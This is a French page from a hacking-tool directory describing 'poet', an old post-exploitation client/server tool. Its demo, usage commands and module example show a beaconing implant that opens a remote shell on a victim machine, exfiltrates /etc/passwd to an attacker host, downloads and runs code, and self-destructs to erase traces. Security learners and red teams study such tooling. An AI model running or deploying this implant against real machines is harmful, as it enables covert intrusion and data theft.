Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/offlinemark/poet
ReconnaissanceGénération de PayloadsExfiltration de DonnéesPost-ExploitationCommandement et ContrôleRed TeamingOutil d'Accès à Distance
GitHubofflinemark/poet

poet

[non maintenu] Outil de post-exploitation

Voir le dépôt
18150il y a 10 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

poet

Un simple outil de post-exploitation.

aperçu

Le programme client s'exécute sur la machine cible et est configuré avec une adresse IP (le serveur) à laquelle se connecter et une fréquence de connexion. Si le serveur n'est pas en cours d'exécution lorsque le client tente de se connecter, le client se met en veille silencieusement et réessaye à l'intervalle suivant. Si le serveur est en cours d'exécution, l'attaquant obtient un shell de contrôle pour piloter le client et effectuer diverses actions sur la cible, notamment :

  • reconnaissance
  • shell distant
  • exfiltration de fichiers
  • téléchargement et exécution
  • autodestruction

démonstration

Ceci n'est qu'un petit échantillon de ce que Poet peut faire.

Le scénario est le suivant : un attaquant a obtenu un accès à la machine de la victime et a téléchargé et exécuté le client. Le serveur n'est pas encore en cours d'exécution à ce stade, mais ce n'est pas grave, le client attend patiemment. Finalement, l'attaquant est prêt et démarre le serveur, commence par lancer un shell et exécuter uname -a, puis exfiltre /etc/passwd. Ensuite, il quitte et se détache du client, qui continue de s'exécuter sur la cible en attendant la prochaine opportunité de se connecter au serveur. Plus tard, il se reconnecte, autodétruit le client, supprimant toutes les traces de la cible.

Machine de la victime (5.4.3.2) :

root@kitploit:~
$ ./poet-client 1.2.3.4 10  # poet-client se daemonise, donc rien à voir

Attention : après avoir exécuté cette commande, vous devrez soit exécuter selfdestruct depuis le serveur, soit tuer le processus poet-client pour arrêter le client.

Machine de l'attaquant (1.2.3.4) :

root@kitploit:~
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:58:42) Abaissement des privilèges vers uid: 501, gid: 20
[+] (06/28/15 03:58:42) Serveur Poet démarré (port 443)
[+] (06/28/15 03:58:50) Connexion de : ('127.0.0.1', 54494) -> VALIDE
[+] (06/28/15 03:58:50) Entrée dans le shell de contrôle
Bienvenue dans posh, le shell Poet !
Exécutez `help' pour obtenir la liste des commandes supportées.
posh > help
Commandes :
  chint
  dlexec
  exec
  exfil
  exit
  help
  recon
  selfdestruct
  shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil écrit dans archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Sortie du shell de contrôle
[-] (06/28/15 03:59:18) Serveur Poet arrêté
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:59:26) Abaissement des privilèges vers uid: 501, gid: 20
[+] (06/28/15 03:59:26) Serveur Poet démarré (port 443)
[+] (06/28/15 03:59:28) Connexion de : ('127.0.0.1', 54542) -> VALIDE
[+] (06/28/15 03:59:28) Entrée dans le shell de contrôle
Bienvenue dans posh, le shell Poet !
Exécutez `help' pour obtenir la liste des commandes supportées.
posh > selfdestruct
[!] ATTENTION : Vous êtes sur le point de supprimer définitivement le client de la cible.
    Vous perdrez immédiatement l'accès à la cible. Continuer ? (o/n) o
[+] (06/28/15 03:59:33) Sortie du shell de contrôle
[-] (06/28/15 03:59:33) Serveur Poet arrêté

pour commencer

Allez sur la page des versions et téléchargez les derniers fichiers poet-client et poet-server disponibles.

Passez ensuite à la section Utilisation ci-dessous.

Sinon, vous pouvez construire Poet vous-même (c'est assez simple, voir ci-dessous).

compilation

Assurez-vous que les exécutables python2.7 et zip sont disponibles.

root@kitploit:~
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make

Cela créera un dossier bin/ contenant poet-client et poet-server.

utilisation

Poet est très simple à utiliser et ne nécessite rien d'autre que la bibliothèque standard Python (2.7). Pour le tester facilement, une invocation typique ressemblerait à :

Terminal 1 :

root@kitploit:~
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct

Par défaut, le client Poet se daemonise et se supprime lui-même du disque. Ce comportement est donc supprimé à l'aide des options --debug et --no-selfdestruct.

Terminal 2 :

root@kitploit:~
$ sudo ./poet-server

Par défaut, le serveur doit être exécuté en tant que root (avec sudo) car le port par défaut auquel il se lie est 443. Si cela vous gêne, omettez simplement sudo et utilisez l'option -p <PORT> à la fois pour le client et le serveur. Choisissez un numéro de port élevé (> 1024).

configuration

Le fichier common/config.py contient divers paramètres de configuration optionnels pour les constructions de Poet.

  • AUTH : Jeton d'authentification secret partagé entre le client et le serveur pour l'authentification du client. Notez que celui par défaut est tout sauf secret. Pour toute utilisation autre que des tests, il est recommandé de le modifier pour une valeur impossible à deviner. Notez que les paquets pré-construits utilisent le jeton d'authentification public par défaut.
  • ARCHIVE_DIR : Répertoire utilisé par le serveur pour stocker les fichiers (sortie d'exécution, exfiltration, reconnaissance, etc.).
  • SERVER_IP : Adresse IP du serveur.
  • BEACON_INTERVAL : Secondes entre les signaux de présence du client vers le serveur.

Les configurations SERVER_IP et BEACON_INTERVAL permettent d'intégrer des informations auparavant requises dans les arguments de ligne de commande dans les exécutables finaux, de sorte que l'exécutable final puisse simplement être exécuté sans arguments. Des valeurs None pour l'un ou l'autre les ramènent au comportement par défaut (argument de ligne de commande requis pour SERVER_IP, argument de ligne de commande optionnel pour BEACON_INTERVAL).

client

root@kitploit:~
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
                   IP [INTERVAL]

positional arguments:
  IP                    Serveur Poet
  INTERVAL              Intervalle de signal (en secondes). Défaut : 600

optional arguments:
  -h, --help            affiche ce message d'aide et quitte
  -p PORT, --port PORT
  --debug               affiche les messages de débogage. implique --no-daemon
  --no-daemon           ne pas se daemoniser
  --no-selfdestruct     ne pas s'autodétruire

Poet est une application client/serveur. Le client est exécuté sur la cible et envoie des signaux de présence au serveur à intervalles réguliers. Le seul argument requis est l'adresse IP où le serveur se trouve ou se trouvera. Il peut être suivi optionnellement de l'intervalle de temps en secondes pour la fréquence des signaux, qui par défaut est de 10 minutes. Le port sur lequel le client envoie ses signaux peut être spécifié avec l'option -p. Tous les autres drapeaux ne seraient pas utilisés dans une utilisation « réelle » et existent principalement pour le débogage.

serveur

root@kitploit:~
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]

optional arguments:
  -h, --help            affiche ce message d'aide et quitte
  -p PORT, --port PORT
  -v, --version         affiche le numéro de version de Poet et quitte

Le serveur est exécuté sur la propre machine de l'utilisateur et écoute les signaux du client. Par défaut, il écoute sur un port privilégié (443) et doit être exécuté avec privilèges (qui sont rapidement abandonnés après la liaison). L'option -p permet de contourner cela en sélectionnant un port non privilégié pour écouter (>1024).

extensibilité

Poet est hautement extensible grâce à son système de modules. En fait, presque toutes les commandes disponibles dans le shell posh sont implémentées comme des modules. Ils peuvent être consultés dans le dossier common/modules/. Le fichier common/modules/template.py sert d'exemple minimal de module, à utiliser comme point de départ. Pour ajouter un module Poet, placez-le simplement dans le dossier common/modules/ et reconstruisez Poet avec make.

Voici un exemple simple de module montrant une communication basique entre le client et le serveur. Le module enregistre une commande posh, envoie une chaîne, le client l'inverse et la renvoie, et le serveur l'affiche.

root@kitploit:~
# Remarque : ce module ne vérifie pas si un argv[1] a été fourni

import module


@module.server_handler('reverse')
def server(server, argv):
    print 'Envoi : {}'.format(argv[1])
    # argv ici est ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Reçu : {}'.format(response)


@module.client_handler('reverse')
def client(client, inp):
    # inp ici est 'reverse ...'
    client.s.send(inp.split()[1][::-1])

Le module commence par

root@kitploit:~
import module

Ceci est requis, et est nécessaire pour s'enregistrer dans le système de modules.

La section suivante est le composant côté serveur du module.

root@kitploit:~
@module.server_handler('reverse')
def server(server, argv):
    print 'Envoi : {}'.format(argv[1])
    # argv ici est ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Reçu : {}'.format(response)

Le décorateur @module.server_handler() est utilisé pour enregistrer une commande posh en passant le nom de la commande comme paramètre du décorateur et en définissant une fonction de gestion à exécuter lorsque la commande est lancée. La fonction de gestion doit accepter deux paramètres. L'un est l'instance du PoetServer qui a appelé le module, l'autre est la chaîne de commande saisie, représentée sous forme de liste d'arguments. L'instance du serveur existe pour que le module puisse utiliser des fonctions d'aide pour communiquer avec le client, écrire des fichiers dans le répertoire d'archive, etc. Le module utilise server.conn.exchange() pour envoyer la ligne de commande saisie sous forme de chaîne au client et obtenir la réponse comme valeur de retour.

Le composant côté client du module vient ensuite.

root@kitploit:~
@module.client_handler('reverse')
def client(client, inp):
    # inp ici est 'reverse ...'
    client.s.send(inp.split()[1][::-1])

Le décorateur @module.client_handler() est utilisé pour enregistrer une tâche à laquelle le client doit réagir et qu'il doit traiter. Comme le client et le serveur communiquent en s'échangeant des chaînes, la première partie de la chaîne est le mot-clé d'une tâche particulière. Le module enregistre une fonction de gestion client à exécuter lorsqu'un message arrive du serveur commençant par 'reverse'. Comme pour le gestionnaire serveur, le gestionnaire client doit accepter des paramètres pour l'instance du PoetClient qui l'a appelé et la chaîne d'entrée passée par le serveur. Le client utilise ensuite la fonction client.s.send() pour renvoyer des données au serveur, dans ce cas, le premier argument, inversé.

En action, cela ressemble à

root@kitploit:~
posh > reverse poet
Envoi : poet
Reçu : teop

préoccupations

Préoccupations documentées :

  • absence de communications cryptographiquement protégées
  • les signaux à intervalle court sont bruyants et génèrent des RST TCP lorsque le serveur est inactif
  • la commande shell n'est pas un « vrai » shell et ne supporte pas la plupart des commandes intégrées des shells standards

avertissement

Je construis Poet uniquement pour ma propre éducation et expérience d'apprentissage. Le code est librement disponible car je pense qu'il pourrait être utile à d'autres personnes intéressées par l'apprentissage de ce genre de choses. Utilisez-le de manière responsable.

Télécharger l’outil